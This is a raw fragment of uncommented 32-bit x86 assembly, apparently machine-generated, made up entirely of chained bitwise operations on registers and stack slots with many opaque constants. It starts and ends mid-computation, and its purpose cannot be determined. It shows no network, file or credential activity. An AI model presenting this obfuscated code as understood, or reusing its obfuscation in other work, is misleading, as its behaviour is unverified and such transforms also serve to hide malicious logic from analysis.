xor edi, 0x2c0c2b66
xor eax, 0xaa87c933
and ebp, 0x868be255
and eax, edi
and edi, 0xa0e52469
and ebx, ebp
xor ebp, ecx
or ebp, ebx
mov ebx, eax
and eax, 0xb4bd6ff1
not ebx
mov ecx, ebx
and ecx, 0x4b42900e
or eax, ecx
mov ecx, dword [esp]
and dword [esp], 0xb4bd6ff1
not ecx
or ebx, ecx
and ecx, 0x4b42900e
add dword [esp], ecx
not ebx
mov ecx, dword [esp]
xor ecx, eax
mov eax, ebp
or ebx, ecx
not eax
mov ecx, dword [esp + 0x18]
and eax, ebx
not ebx
and ebx, ebp
mov ebp, dword [esp + 8]
or ebx, eax
mov eax, edx
or edx, esi
and esi, 0x5f1adb96
or edi, esi
mov esi, ebx
and eax, 0x5f1adb96
and ecx, 0xa0e52469
not edx
and ebx, 0xf2cc13b5
or ecx, eax
not esi
mov eax, esi
xor edi, ecx
or edx, edi
and eax, 0xd33ec4a
mov edi, dword [esp + 4]
or ebx, eax
mov eax, edx
or esi, edx
and edx, 0xd33ec4a
not eax
not esi
and eax, 0xf2cc13b5
or eax, edx
xor eax, ebx
or esi, eax
mov eax, edi
xor edi, 0x8edc3f05
mov ecx, edi
xor eax, 0x412100e8
or edi, 0xf75bd28
and ecx, 0xb2d6d412
and eax, 0x4d292bed
or eax, ecx
mov ebx, eax
xor eax, 0x2549400
or eax, 0xf08a42d7
xor ebx, 0x4d292bed
mov edx, eax
and eax, 0x10279bb
not edx
and edx, 0xe758400
or edx, eax
mov eax, edi
and edi, 0x10279bb
not eax
and eax, 0xf0880244
or eax, edi
xor eax, edx
mov edx, ebp
xor edx, 0xf08a42d7
and edx, ebp
mov edi, edx
and edx, 0x59ac2943
not edi
mov ecx, edi
and ecx, 0xa653d6bc
or edx, ecx
mov ecx, ebx
xor ebx, ebp
and ecx, ebp
mov dword [esp], ecx
mov ecx, ebp
or ecx, 0xf75bd28
or ebx, dword [esp]
mov ebp, ecx
or edi, ecx
and ecx, 0xa653d6bc
not ebp
not edi
and ebp, 0x50880043
or ebp, ecx
mov ecx, eax
and eax, 0xfcfa8e1a
xor ebp, edx
not ecx
mov edx, esi
and ecx, 0x30571e5
or edi, ebp
xor edx, 0x2d0ca89d
or eax, ecx
mov ecx, edi
and edi, 0xfcfa8e1a
and edx, esi
not ecx
and ecx, 0x30571e5
or edi, ecx
xor edi, eax
mov eax, edi
and edi, 0x48ef4bc5
not eax
mov ecx, eax
or eax, ebx
and ecx, 0xb710b43a
not eax
or edi, ecx
mov ecx, ebx
and ebx, 0xb710b43a
not ecx
and ecx, 0x48ef4bc5
or ecx, ebx
mov ebx, dword [esp + 0x14]
xor ecx, edi
or eax, ecx
mov ecx, esi
or esi, 0xd2f35762
not ecx
mov edi, esi
and edi, 0x4393a603
and ecx, 0x2c0c089c
or ebx, dword [esp + 0xc]
or ecx, edi
mov edi, edx
and edx, 0xbc6c59fc
not edi
or esi, edi
and edi, 0x4393a603
or edx, edi
not esi
xor edx, ecx
mov ecx, eax
or eax, 0xd2f35762
not ecx
mov edi, eax
or esi, edx
and eax, 0x24a32ea7
or ecx, 0x2d0ca89d
not edi
mov edx, ecx
and edi, 0x90c8018
and ecx, 0x24a32ea7
not edx
or edi, eax
mov eax, esi
and edx, 0xd2505140
not eax
or edx, ecx
mov ecx, ebx
and ebx, 0x1308378a
xor edx, edi
mov edi, dword [esp + 0x10]
not ecx
and eax, edx
not edx
and edx, esi
or edx, eax
mov eax, edi
mov esi, edi
or edi, ecx
and ecx, 0xecf7c875
not eax
and esi, 0xecf7c875
or ebx, ecx
not edi
and eax, 0x1308378a
or eax, esi
xor ebx, eax
or edi, ebx
mov esi, edi
mov eax, edi
mov ecx, edi
not esi
xor ecx, 0x391b2d11
and eax, 0x18000911
and esi, 0x211b2400
and ecx, edi
or eax, esi
mov edi, ecx
and ecx, 0x9d2148df
mov esi, eax
xor eax, 0xe7fff6ee
not edi
mov ebx, eax
xor esi, 0x18000811
or eax, edi
and edi, 0x62deb720
and ebx, 0x62deb720
and esi, 0x19010811
or ecx, edi
not eax
mov edi, edx
or esi, ebx
xor edi, 0x6633f6a3
xor ecx, esi
and edi, edx
or eax, ecx
mov ecx, eax
and eax, 0x80a3b973
not ecx
and ecx, 0x7f5c468c
or eax, ecx
mov ecx, eax
xor eax, 0x46072190
xor ecx, 0x10989462
and eax, 0xef272190
and ecx, 0x10d8de6f
or ecx, eax
mov esi, ecx
xor ecx, 0xc0072190
xor esi, 0x1058c20c
and ecx, 0xc0873df3
and esi, 0x3f78c20c
or esi, ecx
mov eax, esi
xor esi, 0x2a000200
xor eax, 0x801543
and esi, 0xea072ab0
and eax, 0x15f8d54f
or eax, esi
mov esi, edx
not edx
and edx, 0xe11ff12
and esi, 0xf1ee00ed
or esi, edx
mov ecx, esi
mov edx, esi
xor esi, 0xe11ff12
xor ecx, 0xf1ee00ed
xor edx, 0x682209b1
and edx, ecx
mov dword [esp], ecx
mov ebx, edx
and edx, 0xec2fdc2a
not ebx
mov ebp, ebx
and ebp, 0x13d023d5
or edx, ebp
mov ebp, edi
and edi, 0xec2fdc2a
not ebp
or ebx, ebp
and ebp, 0x13d023d5
or edi, ebp
mov ebp, eax
not ebx
xor edi, edx
mov edx, eax
xor eax, 0x73cb23ec
xor ebp, 0x15f8d54f
or ebx, edi
mov edi, eax
xor edx, 0xea072ab0
and eax, ebp
and edi, edx
and edx, 0x1077cb11
mov ecx, edi
and ecx, eax
xor eax, edi
mov edi, dword [esp]
or eax, ecx
mov ecx, ebx
and ebx, 0x410209f4
not ecx
and ecx, 0xbefdf60b
or ebx, ecx
mov ecx, eax
and eax, 0x410209f4
and edi, 0x1077cb11
not ecx
and ecx, 0xbefdf60b
or eax, ecx
mov ecx, esi
or esi, ebp
and ebp, 0xef8834ee
and ecx, 0xef8834ee
or edx, ebp
xor eax, ebx
not esi
or edi, ecx
mov ecx, eax
and eax, 0xce449f0c
xor edx, edi
not ecx
or esi, edx
mov edi, ecx
mov edx, esi
or ecx, esi
and edi, 0x31bb60f3
and esi, 0x31bb60f3
not edx
or eax, edi
not ecx
and edx, 0xce449f0c
or edx, esi
xor edx, eax
or ecx, edx
mov eax, ecx
mov esi, ecx
not eax
and esi, 0xa2b5a0e6
mov edx, eax
mov edi, eax
and eax, 0x372586af
and edx, 0x5d4a5f19
and edi, ecx
and ecx, 0xc8da7950
or esi, edx
mov ebx, edi
and edi, 0xea7d9c79
or ecx, eax
mov edx, esi
xor esi, 0x5d4a5f19
not ebx
mov eax, ecx
xor ecx, 0x36218425
mov ebp, esi
xor edx, 0xa2358060
or esi, ebx
and ebx, 0x15826386
xor eax, 0xc8da7950
and ecx, 0xbee3d575
and ebp, 0x15826386
and edx, 0xea7d9c79
or edi, ebx
not esi
or edx, ebp
xor edi, edx
or esi, edi
mov edx, esi
and esi, 0xde073ff6
not edx
and edx, 0x21f8c009
or esi, edx
mov edx, esi
xor esi, 0x21688009
xor edx, 0x56040f50
and esi, 0xa96bb0af
and edx, 0x56944f50
or esi, edx
mov edx, esi
xor edx, 0x56944f50
and edx, esi
mov esi, eax
and eax, 0xa96bb0af
and esi, 0x411c2a8a
or esi, ecx
xor esi, 0x178865da
or eax, esi
mov esi, edx
mov ecx, eax
and eax, 0x623eebf5
not ecx
and ecx, 0x9dc1140a
or eax, ecx
mov ecx, eax
xor eax, 0x9dc1140a
xor esi, eax
xor ecx, 0x623eebf5
and eax, edx
and esi, edx
not edx
and edx, ecx
mov ecx, esi
or eax, edx
and ecx, eax
xor eax, esi
or eax, ecx
mov esi, eax
mov edi, eax
mov ebp, eax
not esi
and edi, 0x4d77adbe
and ebp, 0x353c602b
mov ecx, esi
mov ebx, esi
mov dword [esp], esi
and ecx, eax
and ebx, 0xb2885241
mov edx, ecx
or ebx, edi
mov edi, eax
and ecx, 0xb2885241
and eax, 0x5f33075f
not edx
or edi, edx
and edx, 0x4d77adbe
or ecx, edx
not edi
xor ecx, ebx
or edi, ecx
mov ecx, esi
mov edx, edi
and ecx, 0xcac39fd4
and edi, 0x2bdb698d
not edx
or ebp, ecx
and edx, 0xd4249672
xor ebp, 0xcac39fd4
or edx, edi
or ebp, esi
mov ebx, edx
xor edx, 0xd4249672
mov ecx, ebp
mov edi, edx
xor ebx, 0xa196185
not ecx
xor edi, ebp
and ebx, 0x5a3d6197
and ebp, 0x5a3d6197
and ecx, 0xa5c29e68
and edi, edx
and edx, 0xa5c29e68
or ecx, ebp
or edx, ebx
mov esi, edi
and edi, 0x3992994
xor ecx, edx
not esi
mov edx, ecx
mov ebx, esi
and ecx, 0x3992994
not edx
and ebx, 0xfc66d66b
or esi, edx
and edx, 0xfc66d66b
or edi, ebx
or ecx, edx
xor ecx, edi
mov edi, esi
not edi
or edi, ecx
mov ecx, edi
mov dword [esp + 4], edi
and edi, 0x9eacb589
not ecx
mov dword [esp + 0xc], ecx
and ecx, 0x61534a76
or edi, ecx
mov ecx, edi
mov edx, edi
xor edi, 0x7c43c22
xor edx, 0x21134074
xor ecx, 0x9eacb589
and edi, ecx
and edx, 0x371f657d
and ecx, 0xc8e09a82
or ecx, edx
mov ebx, ecx
mov ebp, ecx
xor ecx, 0xb7d29e86
xor ebx, 0xc8e09a82
xor ebp, 0xae77ecd6
and ebp, ebx
and ebx, 0x7f320404
mov edx, ebp
and ebp, 0x6840ab97
or ecx, ebx
not edx
mov esi, edx
and esi, 0x97bf5468
or ebp, esi
mov esi, edi
and edi, 0x6840ab97
not esi
or edx, esi
and esi, 0x97bf5468
or edi, esi
not edx
xor edi, ebp
or edx, edi
mov esi, edx
and edx, 0xe65a8daf
not esi
and esi, 0x19a57250
or edx, esi
mov esi, ecx
and ecx, 0x47bee43
not esi
and esi, 0xfb8411bc
or ecx, esi
mov esi, edx
and edx, 0x487b0fdb
not esi
mov edi, esi
and edi, 0xb784f024
or edx, edi
mov edi, ecx
xor ecx, 0xfb8411bc
xor edi, 0x7b0e43
or esi, ecx
and ecx, 0xb784f024
and edi, 0x487b0fdb
not esi
or edi, ecx
xor edi, edx
or esi, edi
mov edx, esi
xor edx, 0x4fba17fd
and edx, esi
not esi
and esi, 0x4fba17fd
mov ecx, esi
and ecx, edx
xor edx, esi
or edx, ecx
mov ecx, edx
and edx, 0x4fba17fd
not ecx
and ecx, 0xb045e802
or edx, ecx
mov ecx, dword [esp]
and ecx, 0xa0ccf8a0
or eax, ecx
mov ecx, eax
and eax, 0x4005c11e
not ecx
and ecx, 0xbffa3ee1
or eax, ecx
mov ebx, eax
xor eax, 0x1f36c641
mov ecx, eax
xor ebx, 0xe0812108
or eax, 0xd57aec14
and ecx, 0xb4e58b6
and ebx, 0xf4b1a749
or ebx, ecx
mov ecx, ebx
mov edi, ebx
xor ebx, 0x747c5cb2
xor ecx, 0xf4b1a749
xor edi, 0xde34b4a2
and edi, ecx
and ecx, 0x80cdfbfb
mov esi, edi
and edi, 0xcd2dcd7c
or ebx, ecx
not esi
not ebx
mov ebp, esi
or esi, eax
and ebp, 0x32d23283
not esi
or edi, ebp
mov ebp, eax
and eax, 0x32d23283
not ebp
and ebp, 0x8050168
or ebp, eax
xor ebp, edi
or esi, ebp
mov ebp, edx
mov eax, esi
and esi, 0x55b717ef
and ebp, 0x791f805d
not eax
and eax, 0xaa48e810
or esi, eax
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov eax, edx
and edx, 0x5f1dfca1
mov ecx, ebx
not eax
not ecx
mov dword [esp + 8], eax
and eax, 0x86e07fa2
mov edi, ecx
or ebp, eax
mov eax, ebx
mov esi, ecx
mov dword [esp], ecx
and eax, 0xf9ffcce1
and edi, 0x600331e
or edi, eax
mov eax, edi
xor edi, 0xf9ffcce1
xor eax, 0x2000318
mov ecx, edi
and ecx, 0x24757027
and eax, 0xdb8a8fd8
or eax, ecx
mov ecx, ebx
and ebx, 0x8c7fbb42
and ecx, esi
mov esi, ecx
and ecx, 0xdb8a8fd8
not esi
or edi, esi
and esi, 0x24757027
or ecx, esi
not edi
xor ecx, eax
mov eax, ebp
or edi, ecx
mov ecx, ebp
xor eax, 0x86e07fa2
xor ebp, 0x98a157d4
xor ecx, 0x791f805d
mov dword [esp + 0x10], eax
and eax, 0x94d06a33
mov dword [esp + 0x14], ecx
and ecx, 0x6b2f95cc
or ecx, eax
mov esi, ecx
xor ecx, 0x4213
xor esi, 0x6b2f95cc
and ecx, 0x6329d21f
mov eax, esi
and esi, 0xf5f6c332
and eax, 0x9cd62de0
or eax, ecx
mov ecx, dword [esp + 8]
xor eax, 0x96df112d
or esi, eax
mov eax, esi
and esi, 0xe6666c2c
not eax
and eax, 0x199993d3
or esi, eax
mov eax, ecx
and eax, 0xa0e2035e
or edx, eax
mov eax, ecx
mov ecx, dword [esp + 0x14]
xor edx, 0xaaeb3f93
xor eax, edx
and eax, edx
mov dword [esp + 8], eax
mov eax, dword [esp + 0x10]
and ebp, ecx
and ecx, 0x4192c613
mov dword [esp + 0x18], ebp
and eax, 0xbe6d39ec
or ecx, eax
mov eax, edi
xor eax, 0xe1bed789
mov dword [esp + 0x1c], ecx
xor ecx, 0x4192c613
mov ebp, eax
and eax, edi
mov edx, ecx
mov dword [esp + 0x10], eax
mov eax, edi
not edi
and ebp, edi
and edx, edi
xor ecx, edi
and edi, 0x61560b86
and eax, 0x9ea9f479
or eax, edi
mov dword [esp + 0x20], ecx
mov dword [esp + 0x14], ebp
mov dword [esp + 0x28], edx
mov edi, eax
xor eax, 0x40040882
xor edi, 0x9ea9f479
and eax, 0xde85e8ba
mov ecx, edi
and edi, 0xf5f6c332
and ecx, 0x217a1745
or ecx, eax
xor ecx, 0x2b732b88
or edi, ecx
mov ecx, dword [esp]
and ecx, 0x738044bd
or ecx, ebx
mov ebx, esi
xor esi, 0x199993d3
mov eax, ecx
xor ecx, 0x79897870
xor ebx, 0xe6666c2c
xor eax, 0x200048d
and eax, 0xa093ccd
or ecx, eax
mov eax, ecx
and ecx, 0x94c0b15
not eax
and eax, 0xf6b3f4ea
or ecx, eax
mov eax, dword [esp + 8]
mov ebp, ecx
mov ecx, eax
and eax, esi
mov edx, eax
not ecx
mov eax, ebx
xor eax, ecx
and ecx, ebx
and eax, ebx
or ecx, edx
mov ebx, eax
and eax, 0xb6d7e307
not ebx
mov edx, ebx
and edx, 0x49281cf8
or eax, edx
mov edx, ecx
and ecx, 0xb6d7e307
not edx
or ebx, edx
and edx, 0x49281cf8
or ecx, edx
not ebx
mov edx, ebp
xor ecx, eax
mov eax, edi
xor edx, 0xa4830402
or ebx, ecx
mov ecx, edi
xor edi, 0x28f0cb1
and eax, 0x2d9e5476
and edx, 0xac8f0e13
not ecx
and edi, ecx
and ecx, 0xd261ab89
or ecx, eax
mov eax, ebp
xor ebp, 0xf43cf85b
xor eax, 0x94c0b15
mov dword [esp + 8], ecx
xor ecx, 0x2d9e5476
and ebp, eax
and eax, 0x5370f1ec
or eax, edx
mov dword [esp], ebp
mov ebp, eax
mov eax, ecx
or eax, 0x28f0cb1
mov dword [esp + 0x2c], ebp
mov edx, eax
mov esi, eax
not edx
and esi, 0xeab8f743
and edx, 0x1540000c
or edx, esi
mov esi, edi
and edi, 0x154708bc
not esi
or eax, esi
and esi, 0xeab8f743
or edi, esi
mov esi, ebp
xor ebp, 0x5370f1ec
not eax
xor esi, 0x51fffd5d
xor edi, edx
and esi, ebp
or eax, edi
and ebp, 0xdbc41998
mov edi, esi
and esi, 0xdf5e7b86
not edi
mov edx, edi
and edx, 0x20a18479
or esi, edx
mov edx, dword [esp]
and dword [esp], 0xdf5e7b86
not edx
or edi, edx
and edx, 0x20a18479
add dword [esp], edx
not edi
mov edx, dword [esp]
xor edx, esi
or edi, edx
mov edx, eax
not edx
and edx, edi
not edi
and edi, eax
mov eax, ecx
or edi, edx
mov edx, dword [esp + 8]
and eax, 0x243be667
xor edx, 0xd2400988
and edx, 0xdbc41998
or edx, eax
mov eax, dword [esp + 0x2c]
xor eax, 0xac8f0e13
or ecx, eax
and eax, 0x243be667
or ebp, eax
mov eax, edi
not ecx
and edi, 0xb217fcfd
not eax
xor ebp, edx
mov edx, eax
or ecx, ebp
and edx, 0x4de80302
or eax, ecx
or edi, edx
mov edx, ecx
and ecx, 0x4de80302
not eax
not edx
and edx, 0xb217fcfd
or edx, ecx
xor edx, edi
mov edi, dword [esp + 0x1c]
or eax, edx
mov ecx, eax
mov edx, eax
and eax, 0x9879ada0
not ecx
and edx, 0x80101d
and ecx, 0x67064242
xor edi, 0xa02c1188
or edx, ecx
mov ecx, ebx
or edi, 0x1e412876
xor edx, 0x80101d
not ecx
or eax, edx
mov edx, ebx
and ecx, 0x22825216
xor edx, 0x6786525f
and edx, ebx
or ebx, 0x9879ada0
mov esi, ebx
and esi, 0xc51d28e9
or ecx, esi
mov esi, edx
and edx, 0x3ae2d716
not esi
or ebx, esi
and esi, 0xc51d28e9
or edx, esi
not ebx
mov esi, dword [esp + 0x18]
xor edx, ecx
or ebx, edx
mov edx, edi
mov ecx, ebx
and ebx, 0xb9739a35
and edx, 0x83333aaa
not ecx
and ecx, 0x468c65ca
or ebx, ecx
mov ecx, eax
and eax, 0xb9739a35
not ecx
and ecx, 0x468c65ca
or eax, ecx
mov ecx, edi
not ecx
xor eax, ebx
and ecx, 0x608cc501
mov ebx, eax
or ecx, edx
mov edx, esi
and esi, 0x7cccc555
and ebx, 0x38d2d0ae
not edx
or edi, edx
and edx, 0x83333aaa
or esi, edx
not edi
mov edx, dword [esp + 0x10]
xor esi, ecx
or edi, esi
mov esi, dword [esp + 0x14]
mov ecx, esi
and ecx, edx
xor edx, esi
or edx, ecx
mov ecx, edi
and edi, 0x3a86fa17
not ecx
and ecx, 0xc57905e8
or edi, ecx
mov ecx, edx
and edx, 0x3a86fa17
not ecx
and ecx, 0xc57905e8
or edx, ecx
xor edx, edi
mov edi, dword [esp + 0x20]
mov esi, edx
and edx, 0x69087e57
not esi
or edi, dword [esp + 0x28]
mov ecx, edi
and edi, 0x6b7792a
not ecx
and ecx, 0xf94886d5
or edi, ecx
mov ecx, esi
and ecx, 0x96f781a8
or edx, ecx
mov ecx, edi
xor edi, 0xf94886d5
xor ecx, 0x7802
or esi, edi
and edi, 0x96f781a8
and ecx, 0x69087e57
not esi
or ecx, edi
mov edi, eax
xor ecx, edx
not edi
or esi, ecx
mov ecx, esi
not ecx
mov edx, ecx
and ecx, esi
and esi, 0x8607f61c
and edx, 0x79f809e3
or esi, edx
xor esi, 0x8607f61c
mov edx, esi
xor esi, ecx
and edx, ecx
or esi, edx
mov edx, esi
mov ecx, esi
xor edx, 0xc72d2f51
and ecx, 0xc6481ecd
and edx, esi
not esi
and esi, 0x39b7e132
or ecx, esi
mov esi, eax
xor esi, 0xc72d2f51
and esi, edi
and edi, 0x4cc29cca
mov ebp, esi
and ebp, ebx
xor ebx, esi
mov esi, ecx
xor ecx, 0x39b7e132
xor esi, 0xc6481ecd
or ebx, ebp
mov ebp, esi
and esi, 0x4cc29cca
and ebp, 0xc72d2f51
mov dword [esp], ebp
and dword [esp], edx
xor edx, ebp
mov ebp, ebx
or edx, dword [esp]
not ebp
and ebp, edx
not edx
and edx, ebx
mov ebx, eax
or eax, ecx
and ecx, 0xb33d6335
and ebx, 0xb33d6335
or esi, ecx
not eax
or edx, ebp
or edi, ebx
mov ecx, edx
xor esi, edi
or eax, esi
not eax
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
mov esi, eax
mov ebx, eax
not edx
and esi, 0xa629b9ba
mov ecx, edx
mov edi, edx
and ecx, eax
and edi, 0x671d35ba
and eax, 0x98e2ca45
or eax, edi
xor eax, 0xcfdbc89f
or eax, edx
and edx, 0x59d64645
or edx, esi
mov esi, ecx
and ecx, 0x59d64645
not esi
or ebx, esi
and esi, 0xa629b9ba
or ecx, esi
not ebx
mov esi, eax
xor ecx, edx
not esi
or ebx, ecx
mov ecx, ebx
and ebx, 0xe53e3c2
not ecx
mov edx, ecx
and ecx, 0xa8c6fd25
and edx, 0xf1ac1c3d
or edx, ebx
xor edx, 0xa6951ee7
or ecx, edx
mov edx, ecx
and ecx, 0x2b627c30
not edx
and edx, 0xd49d83cf
or ecx, edx
mov edx, ecx
xor ecx, 0xd49d83cf
and esi, ecx
or ecx, eax
xor edx, 0x2b627c30
and eax, edx
not ecx
or eax, esi
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor ecx, 0xd7f4f920
or edx, 0x280b06df
and ecx, eax
mov eax, edx
mov edi, edx
mov esi, ecx
not eax
and edi, 0xc46beb80
and ecx, 0x3b94147f
not esi
and eax, 0x13941020
or edx, esi
and esi, 0xc46beb80
or eax, edi
mov edi, dword [esp + 4]
or ecx, esi
mov esi, dword [esp + 0xc]
not edx
xor ecx, eax
or edx, ecx
mov eax, edi
and edi, 0xfffffffe
mov dword [esp], edx
mov ecx, esi
and eax, 0x57aa9044
and ecx, 0xa8556fbb
or eax, ecx
xor eax, 0xa8556fba
or eax, esi
and esi, 1
or edi, esi
mov esi, eax
mov ebx, eax
mov ecx, edi
mov dword [esp + 4], edi
xor edi, 0x5750cab3
xor esi, 0xa8af354c
not ecx
and edi, ecx
and ebx, ecx
xor ecx, eax
not eax
and esi, eax
or eax, 0xa8af354c
or ecx, ebx
mov ebp, eax
mov edx, eax
not ebp
and edx, 0xf8d1d3c5
and ebp, 0x7000832
or ebp, edx
mov edx, esi
and esi, 0x72e2c3a
not edx
or eax, edx
and edx, 0xf8d1d3c5
or esi, edx
not eax
mov edx, edi
xor esi, ebp
mov ebp, dword [esp + 4]
or eax, esi
and ebp, 0xa8af354c
and edx, ebp
xor ebp, edi
or ebp, edx
mov edx, eax
not edx
and edx, ebp
not ebp
and ebp, eax
mov eax, ecx
and ecx, 0xfe970581
not eax
or ebp, edx
and eax, 0x168fa7e
mov edi, ebp
or ecx, eax
mov eax, ebp
and edi, 0x778f2d91
mov edx, ecx
not eax
xor ecx, 0x168fa7e
mov esi, eax
xor edx, 0x76870581
or eax, ecx
and ecx, 0x8870d26e
and edx, 0x778f2d91
and esi, 0x8870d26e
not eax
or edi, esi
or edx, ecx
xor edx, edi
or eax, edx
mov ecx, eax
mov edi, eax
mov edx, eax
not ecx
or edi, 0xc918678
xor edx, 0xf36e7987
mov ebx, ecx
mov esi, edi
and edx, eax
and ecx, 0x9fc42203
and eax, 0x603bddfc
and esi, 0xd78ac8d6
and ebx, 0x20643101
or eax, ecx
or ebx, esi
mov esi, edx
and edx, 0x28753729
not esi
or edi, esi
and esi, 0xd78ac8d6
or edx, esi
not edi
xor edx, ebx
or edi, edx
mov edx, edi
and edi, 0xfe4c8fc5
not edx
and edx, 0x1b3703a
or edi, edx
mov edx, edi
xor edi, 0x804d01a9
xor edx, 0x800c000
and edi, 0x856f37eb
and edx, 0x7a90c814
or edi, edx
mov edx, eax
xor eax, 0x1a440003
xor edx, 0x603bddfc
and eax, 0x1a4d5533
mov esi, edi
xor edi, 0x466212b
mov ecx, edx
xor esi, 0x58800800
and edi, 0x2676e13f
and ecx, 0xe5b2aacc
and esi, 0xd9891ec0
or ecx, eax
or esi, edi
xor ecx, 0xe5b2aacc
mov edi, esi
xor esi, 0x2676e13f
or ecx, edx
xor edi, 0xd9891ec0
mov eax, ecx
and ecx, 0x8d9ecf35
not eax
and eax, 0x726130ca
or ecx, eax
mov eax, ecx
xor ecx, 0x726130ca
xor eax, 0x8d9ecf35
and eax, esi
or esi, ecx
and ecx, edi
not esi
or ecx, eax
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and eax, ecx
and ecx, 0x3f05c776
and edx, 0xc0fa3889
or ecx, edx
xor ecx, 0x3f05c776
mov edx, ecx
xor ecx, eax
and edx, eax
or ecx, edx
mov eax, ecx
mov esi, ecx
not eax
xor esi, 0x66235a71
mov edx, eax
and esi, ecx
and ecx, 0x2f3c6215
and edx, 0xd0c39dea
or edx, ecx
xor edx, 0xd0c39dea
or edx, eax
and eax, 0x66235a71
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov ecx, edx
mov eax, esi
and esi, 0x7f103489
not ecx
not eax
and ecx, 0xc93b04e9
and eax, 0x80efcb76
or esi, eax
mov eax, esi
xor esi, 0x19336ef8
mov edi, esi
xor eax, 0xc0080001
or esi, edx
and edx, 0x36c4fb16
and edi, 0x36c4fb16
and eax, 0xc93b04e9
or ecx, edx
not esi
or eax, edi
xor ecx, eax
or esi, ecx
mov eax, esi
and esi, 0x7f9ed63d
not eax
and eax, 0x806129c2
or esi, eax
mov eax, esi
xor esi, 0x806129c2
xor eax, 0x402c010
mov ecx, esi
and ecx, 0xfb9c166f
and eax, 0x463e990
or eax, ecx
xor eax, 0x463e990
or eax, esi
mov ecx, eax
mov ebp, eax
mov eax, dword [esp]
not ecx
mov dword [esp + 8], ebp
mov edi, ecx
mov dword [esp + 4], ecx
mov ebx, eax
mov ecx, eax
and eax, 0x9c67577e
not ebx
and ecx, 0xc785989e
mov edx, ebx
and edx, 0x6398a881
or eax, edx
mov edx, edi
mov edi, ebp
xor eax, 0x38b3050c
or edx, 0xa10c10b1
and edi, 0x10400e02
or eax, ebx
and ebx, 0x387a6761
and edx, 0xe59ef1f9
or ebx, ecx
mov ecx, ebp
or edi, edx
mov dword [esp], eax
or ecx, 0x54d2ef4a
mov ebp, ecx
and ecx, 0xe59ef1f9
not ebp
and ebp, 0xa210004
or ebp, ecx
xor ebp, edi
mov ecx, ebp
and ebp, 0x54d2ef4a
not ecx
and ecx, 0xab2d10b5
or ebp, ecx
mov eax, ebp
mov edi, ebp
not eax
and edi, 0xa4d45272
mov edx, eax
and edx, 0x5b2bad8d
or edi, edx
mov edx, ebx
xor ebx, 0x387a6761
xor edx, 0xc785989e
mov esi, ebx
and ebp, ebx
mov dword [esp + 0xc], edi
xor edi, eax
or ebx, eax
and eax, edx
and esi, 0x74b3941
mov dword [esp + 0x10], ebp
mov ebp, dword [esp + 8]
and edi, dword [esp + 0xc]
mov dword [esp + 0x14], eax
mov eax, edx
and eax, 0xf8b4c6be
or eax, esi
mov esi, dword [esp + 4]
mov edx, eax
xor eax, 0x7481100
xor edx, 0xf8b4c6be
and eax, 0x7f8d7ac
mov ecx, edx
and edx, 0x5b2bad8d
and ecx, 0xf8072853
and esi, 0x5b2bad8d
or ecx, eax
xor ecx, 0x5cd37a21
or edx, ecx
mov eax, edx
and edx, 0x3baa8985
not eax
and eax, 0xc455767a
or edx, eax
mov eax, ebp
and eax, 0xa4d45272
or esi, eax
mov eax, edx
xor edx, 0xc455767a
xor ebp, esi
xor eax, 0x2028085
mov ecx, edx
and edx, 0x39bc3f60
and ebp, esi
mov esi, dword [esp]
and eax, 0xc643c09f
or eax, edx
mov edx, esi
or ecx, esi
and esi, 0x39bc3f60
not edx
and edx, 0xc643c09f
or edx, esi
mov esi, ecx
xor edx, eax
mov eax, ecx
and esi, 0xe3e5291
not eax
and eax, 0xf1c1ad6e
or eax, esi
mov esi, edx
and edx, 0xf1c1ad6e
not esi
or ecx, esi
and esi, 0xe3e5291
or edx, esi
mov esi, edi
not ecx
xor edx, eax
mov eax, edi
not eax
or ecx, edx
and eax, ebp
not ebp
xor esi, ebp
and ebp, edi
and esi, edi
or ebp, eax
mov eax, esi
and eax, ebp
xor ebp, esi
or ebp, eax
mov eax, ecx
and ecx, 0x947a2b9d
not eax
mov esi, eax
or eax, 0x43d674b
and esi, 0x6b85d462
or ecx, esi
mov esi, ebp
and ebp, 0x8604fec7
not esi
mov edi, esi
or esi, 0x43d674b
and edi, 0x79fb0138
or ebp, edi
mov edi, ebp
xor ebp, 0x7dc66673
xor edi, 0x8604fec7
and ebp, edi
mov edi, ecx
xor ecx, 0x50002
xor edi, 0x4280209
or ecx, 0x710210b4
and ecx, 0x711731b6
and edi, 0x4284649
or edi, ecx
mov ecx, eax
and eax, 0x711731b6
not ecx
and ecx, 0x8ac08800
or ecx, eax
mov eax, ebp
and ebp, 0x845bde27
not eax
xor ecx, edi
mov edi, eax
or eax, esi
mov edx, ecx
and ecx, 0x1e1e30c
and edi, 0x7ba421d8
not eax
not edx
or ebp, edi
mov edi, esi
and esi, 0x7ba421d8
and edx, 0xfe1e1cf3
not edi
or ecx, edx
and edi, 0x80429824
or edi, esi
mov esi, ebx
xor edi, ebp
and esi, 0x8106239d
or eax, edi
mov edi, dword [esp + 0x14]
mov edx, eax
and eax, 0x1e1e30c
not edx
and edx, 0xfe1e1cf3
or edi, dword [esp + 0x10]
or eax, edx
xor eax, ecx
mov ecx, ebx
not ecx
and ecx, 0x7ef9dc62
mov edx, edi
and edi, 0x7ef9dc62
or ecx, esi
not edx
or ebx, edx
and edx, 0x8106239d
or edi, edx
not ebx
xor edi, ecx
or ebx, edi
mov edx, ebx
xor edx, 0xba64e706
and edx, ebx
not ebx
and ebx, 0xba64e706
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
and edx, 0xba64e706
not ecx
and ecx, 0x459b18f9
or edx, ecx
mov ecx, eax
mov esi, edx
not ecx
not esi
and edx, ecx
or ecx, esi
and esi, eax
or esi, edx
mov edi, ecx
mov edx, ecx
mov eax, esi
not edi
and edx, 0xece286ec
and esi, 0x131d7913
not eax
and edi, 0x131d7913
or ecx, eax
and eax, 0xece286ec
or edi, edx
or esi, eax
not ecx
xor esi, edi
or ecx, esi
mov edx, ecx
mov eax, ecx
mov ebx, ecx
and ecx, 0x708d42c2
not edx
and eax, 0xe00b5d87
and ebx, 0x8ceaa2b
mov esi, edx
mov edi, edx
mov dword [esp], edx
and esi, 0x1ff4a278
and edi, 0xf73155d4
or esi, eax
or edi, ebx
mov eax, esi
xor esi, 0xc84a008
